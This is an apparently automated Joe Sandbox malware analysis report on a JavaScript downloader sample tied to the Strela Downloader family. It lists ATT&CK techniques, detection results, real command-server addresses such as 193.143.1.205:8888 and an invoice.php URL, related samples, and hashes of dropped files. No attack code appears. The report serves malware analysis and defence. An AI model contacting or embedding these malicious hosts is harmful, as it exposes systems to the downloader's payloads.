Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
51406528193621400.js	4%	Virustotal		Browse
51406528193621400.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Gc	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2597404931.000001B3E4000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/Gc	net.exe, 00000007.00000002.1377557217.000002AA612F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1377557217.000002AA612B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1377557217.000002AA612F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1377557217.000002AA61311000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000007.00000002.1377557217.000002AA612B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1392406037.000001B3E3DD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587709
Start date and time:	2025-01-10 17:12:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	51406528193621400.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 23.209.209.135, 199.232.210.172, 184.28.90.27, 2.16.168.105, 2.16.168.107, 23.204.152.213, 23.204.152.210, 13.107.246.45, 18.213.11.84, 4.175.87.197, 104.126.112.182, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:13:47	API Interceptor	24x Sleep call for process: powershell.exe modified
11:13:52	API Interceptor	1x Sleep call for process: net.exe modified
11:13:53	API Interceptor	2x Sleep call for process: svchost.exe modified
11:14:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1697943393056527466.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807524871641476
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9a:0J7adfWuK0p/QDfKoPeuP0aN4fqoxF
MD5:	83B0093BF844109EDD12BF3B6C47530E
SHA1:	574A0B55B6C69C92AD81A704AE0180E20C371ADB
SHA-256:	FEED69AD3EA64BF29173F105E07EAF3A4953EC5EAE96FE1E3A84C4E4F193C7AB
SHA-512:	B88A3C80ED41350C6B96F488BC42A4C73C4851C55AEF1FAE5E1577C50BBD5CD74B0690EEBAE8C48272FCF7425631E52545C7014DDA98F70BD20B63C4B5583A5B
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb9f40e8b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880555961256959
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:nazaPv4V4fXq2UaB
MD5:	D2D27ADF241FDF83ADE9ABFC65AC1BEF
SHA1:	BA585C92081E9F98C9DCFDCC5F1568554F3731B3
SHA-256:	11745A2ED57DE113EEC1E1BEEF6B63B3FF59A3E510D21823D2D99F1AF89E5B3E
SHA-512:	C2249C1DCA7A169CB97AFC07F68820192AED2FBC9A8541BD5C4575878EBE865FD7B0D977B33187FFFCAB7EF9CAF10D6CE7075647B5FE576725314D9F38C5F583
Malicious:	false
Preview:	....... ...............X\...;...{......................X............{..5....}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{....................................Ui5....}.<.................Y..5....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08097353961343884
Encrypted:	false
SSDEEP:	3:JmtyYenykDY4GmXlVG0+q2Iqe8lklIRtallNTt/4ll/Q6beV/:JmUznzY9UGE8l/aHtc6V
MD5:	20905E20F252D159A7E3939341D95EAB
SHA1:	FA707FD8923A7B0B3A19632EE294AD64695FD722
SHA-256:	C074F6899252DE049218549C1AB36F0EEB7ACD38FD429A0FD73BAB0E869A442E
SHA-512:	F9A124019594346C492335405A0BD4E6B28344F12A5763981F78326EAE849202DB1ED39E75132B5639D456EBB70101F6F1F88D36826A0F7ED8121197BCF7F8A5
Malicious:	false
Preview:	..Gu.....................................;...{..5....}.......{...............{.......{....:......{..................Y..5....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.118255385565692
Encrypted:	false
SSDEEP:	6:iO4XWBdq2PFi2nKuAl9OmbnIFUtSXWHV+ZmwsXWHVykwOFi2nKuAl9OmbjLJ:7MwvdZHAahFUtyI4/AIg5wZHAaSJ
MD5:	0822F70B29898EBF99F557DB5319E228
SHA1:	53A5ADD69A6C2EDE59BBB43F0C16D2962D8CF3E7
SHA-256:	A93787CE4EAC391A645E7AC4E9AED05385CA229E473CAD86A250E6852E3C2D61
SHA-512:	CC392FDA4B7A58083CEBAE1CE9C57AEA22E78863DD65DD47992714AB8F387E29855FFDEB32FBD228E05B7D83F6659C8BA523BA2C81D8BB250E4A61563495F339
Malicious:	false
Preview:	2025/01/10-11:13:53.022 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:53.042 1c34 Recovering log #3.2025/01/10-11:13:53.042 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.118255385565692
Encrypted:	false
SSDEEP:	6:iO4XWBdq2PFi2nKuAl9OmbnIFUtSXWHV+ZmwsXWHVykwOFi2nKuAl9OmbjLJ:7MwvdZHAahFUtyI4/AIg5wZHAaSJ
MD5:	0822F70B29898EBF99F557DB5319E228
SHA1:	53A5ADD69A6C2EDE59BBB43F0C16D2962D8CF3E7
SHA-256:	A93787CE4EAC391A645E7AC4E9AED05385CA229E473CAD86A250E6852E3C2D61
SHA-512:	CC392FDA4B7A58083CEBAE1CE9C57AEA22E78863DD65DD47992714AB8F387E29855FFDEB32FBD228E05B7D83F6659C8BA523BA2C81D8BB250E4A61563495F339
Malicious:	false
Preview:	2025/01/10-11:13:53.022 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:53.042 1c34 Recovering log #3.2025/01/10-11:13:53.042 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.130571457976263
Encrypted:	false
SSDEEP:	6:iO4XW/Aq2PFi2nKuAl9Ombzo2jMGIFUtSXWaZmwsXWmkwOFi2nKuAl9Ombzo2jM4:7MSAvdZHAa8uFUtyx/Ar5wZHAa8RJ
MD5:	13BAC30F1B12BD07FF13AECB3BF22A3F
SHA1:	1BC5E96AD5AE1A61B5BFB6DF9D70276F63BF7F44
SHA-256:	8D12F3120CCEDFFAC068AE72BFD112B4ECBAA7ACD37EEE542E501FE9D99D9E79
SHA-512:	BAF18547DA5D041A17568108ECF94ECB912743664B0FB4D672E39F02B42559244ADC5D7EB7E8D57C56A277E84D208BBC5BF8CA4610D994CFAE6EF332469455AE
Malicious:	false
Preview:	2025/01/10-11:13:53.333 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:53.354 1d60 Recovering log #3.2025/01/10-11:13:53.354 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.130571457976263
Encrypted:	false
SSDEEP:	6:iO4XW/Aq2PFi2nKuAl9Ombzo2jMGIFUtSXWaZmwsXWmkwOFi2nKuAl9Ombzo2jM4:7MSAvdZHAa8uFUtyx/Ar5wZHAa8RJ
MD5:	13BAC30F1B12BD07FF13AECB3BF22A3F
SHA1:	1BC5E96AD5AE1A61B5BFB6DF9D70276F63BF7F44
SHA-256:	8D12F3120CCEDFFAC068AE72BFD112B4ECBAA7ACD37EEE542E501FE9D99D9E79
SHA-512:	BAF18547DA5D041A17568108ECF94ECB912743664B0FB4D672E39F02B42559244ADC5D7EB7E8D57C56A277E84D208BBC5BF8CA4610D994CFAE6EF332469455AE
Malicious:	false
Preview:	2025/01/10-11:13:53.333 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:53.354 1d60 Recovering log #3.2025/01/10-11:13:53.354 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\436455ae-ea95-4c0c-b755-d3d3277a9d73.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.969561740360273
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAhsBdOg2HzAcaq3QYiubpP7E4T3y:Y2sRdsnydMHzr3QYhbd7nby
MD5:	4AC6A4B5AF574E0D53991FDF83645481
SHA1:	1D0EF4C64E121E622EAF738B9B582C47B0D87981
SHA-256:	BDCC14EE6C476EF39636BEB552B804F74DACECD7F03C99402DBA9038029B3606
SHA-512:	334E2DD8D3EC03C1C362411A5EC4001049BC921910FED7A291DEE526845DB7D874D6014A20518F90AFCCCB82A20985581DE757552DA5814333BC1B9E8D1035E5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085643995966","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129815},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.969561740360273
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAhsBdOg2HzAcaq3QYiubpP7E4T3y:Y2sRdsnydMHzr3QYhbd7nby
MD5:	4AC6A4B5AF574E0D53991FDF83645481
SHA1:	1D0EF4C64E121E622EAF738B9B582C47B0D87981
SHA-256:	BDCC14EE6C476EF39636BEB552B804F74DACECD7F03C99402DBA9038029B3606
SHA-512:	334E2DD8D3EC03C1C362411A5EC4001049BC921910FED7A291DEE526845DB7D874D6014A20518F90AFCCCB82A20985581DE757552DA5814333BC1B9E8D1035E5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085643995966","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129815},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.234581458940587
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVlogZ:wshFT0h7cZb2EVKZPEANcGIK5EVlogZ
MD5:	AC926F3B6C9A660244C42DCCD9D48EF8
SHA1:	EA93FB5C94635100E90E6357DB8DB7B286DAEFE4
SHA-256:	2C1D1414EBBA9F3854320768C6A4E5E30CB4DAC2719F9A911E00C498D53DCDD5
SHA-512:	DE28B6954833707C71995A27B149B9E56853DD85B5A0BAFE7777D4E12DAAD14C9BEF88103109CC098C50B91C0C4992DCF88947F5B85DB344CB541C5F95210479
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1835156286347335
Encrypted:	false
SSDEEP:	6:iO4XWXq2PFi2nKuAl9OmbzNMxIFUtSXWDTVXZmwsXWnmkwOFi2nKuAl9OmbzNMFd:7MEvdZHAa8jFUtymVX/Ar5wZHAa84J
MD5:	413164A728BB8148B00216A37ED928A3
SHA1:	678F5771D5E6A0C53509B18620D010BFC8199182
SHA-256:	21B9FBBA6916E8F642279222552094D6A4DE142DE6923F984451E8CAA4E85EA6
SHA-512:	03DD6C0C244E52569ECEDF89DF8E1D801D63B13AA0CD595E71B0F3836BEE1CDBBC1641D1C49BCB81655E9DAAC1CB0DC64C743B205A4F15F699F917FACD80AAD5
Malicious:	false
Preview:	2025/01/10-11:13:53.835 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:53.856 1d60 Recovering log #3.2025/01/10-11:13:53.967 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1835156286347335
Encrypted:	false
SSDEEP:	6:iO4XWXq2PFi2nKuAl9OmbzNMxIFUtSXWDTVXZmwsXWnmkwOFi2nKuAl9OmbzNMFd:7MEvdZHAa8jFUtymVX/Ar5wZHAa84J
MD5:	413164A728BB8148B00216A37ED928A3
SHA1:	678F5771D5E6A0C53509B18620D010BFC8199182
SHA-256:	21B9FBBA6916E8F642279222552094D6A4DE142DE6923F984451E8CAA4E85EA6
SHA-512:	03DD6C0C244E52569ECEDF89DF8E1D801D63B13AA0CD595E71B0F3836BEE1CDBBC1641D1C49BCB81655E9DAAC1CB0DC64C743B205A4F15F699F917FACD80AAD5
Malicious:	false
Preview:	2025/01/10-11:13:53.835 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:53.856 1d60 Recovering log #3.2025/01/10-11:13:53.967 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438632258979406
Encrypted:	false
SSDEEP:	384:CeHci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:ACurVgazUpUTTGt
MD5:	E5FAE9D8BFA346C1C7EEF74CA0B02DDF
SHA1:	8125ACAD740C9D2979AE338C137FD20509D8C4DB
SHA-256:	3DBF63B48D5FFE72E381AAAE6048414C61A3E7A31503FB689AE6E01C22A8923D
SHA-512:	2ED33DD25A0C233D44A902BE078EFBBE911A7056A3C11CD3528FFB495AD23D049A7664CC1F5EC6682CD5A0B546E55654BBA9CB1C1FCA6E2ACE9553A296820DD8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2151962432545655
Encrypted:	false
SSDEEP:	24:7+tDG6wK8qL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mza:7MKW8q/mFTIF3XmHjBoGGR+jMz+Lhj
MD5:	88CBC352F2F468B40F7440DD296E4EDC
SHA1:	6E3B06D8A1538AC1DB796303F28A8A789ED66DF6
SHA-256:	A2C148FD66592069C68A1081FB50B4EB968ACCAE4BAC6DD8DF2938FFCBF28960
SHA-512:	78D8F332338C6D1780E9360162B3A16AC544F9A16EAAE7685FE90E92ACC2A7457069D291BE6B9F2266B4962713468555A2143F2D16DBFDCA068AA0AA3E034280
Malicious:	false
Preview:	.... .c.....f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
